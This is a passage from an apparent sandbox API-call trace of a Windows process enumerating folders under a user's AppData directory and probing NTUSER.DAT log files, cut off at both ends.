dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0133.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eafc0) returned 1 [0133.944] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", lpFilePart=0x0) returned 0x47 [0133.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0133.944] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), fInfoLevelId=0x0, lpFileInformation=0x3892328 | out: lpFileInformation=0x3892328*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0133.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0133.944] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", lpFilePart=0x0) returned 0x47 [0133.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0133.944] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0133.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eafc0) returned 1 [0133.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0133.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData", lpFilePart=0x0) returned 0x17 [0133.948] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.948] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.948] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0133.948] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0133.948] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1b7d47, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b7d47, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0133.948] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1b7d47, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b7d47, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0133.949] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0133.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0133.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0133.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData", lpFilePart=0x0) returned 0x17 [0133.949] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.949] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.949] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0133.949] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0133.949] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1b7d47, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b7d47, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0133.950] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0133.950] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0133.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0133.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed4c0) returned 1 [0133.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1f6ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0133.950] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\*", lpFindFileData=0x1f6ed1e0 | out: lpFindFileData=0x1f6ed1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.950] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.950] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0133.951] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0133.951] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0133.951] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CEF", cAlternateFileName="")) returned 1 [0133.951] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0133.951] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ConnectedDevicesPlatform", cAlternateFileName="CONNEC~1")) returned 1 [0133.951] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0133.952] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0133.952] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4a3b706e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4a3b706e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x56f5f2ae, ftLastWriteTime.dwHighDateTime=0x1d4ae7c, nFileSizeHigh=0x0, nFileSizeLow=0x11110, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0133.952] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0133.952] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0133.952] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0133.952] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0133.952] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdf9e1b08, ftLastWriteTime.dwHighDateTime=0x1d32734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2dd2b1f2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2dd2b1f2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0133.954] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0133.954] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed400) returned 1 [0133.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed3c0) returned 1 [0133.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed4c0) returned 1 [0133.954] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1f6ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0133.954] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\*", lpFindFileData=0x1f6ed1e0 | out: lpFindFileData=0x1f6ed1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.954] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.954] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0133.955] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, 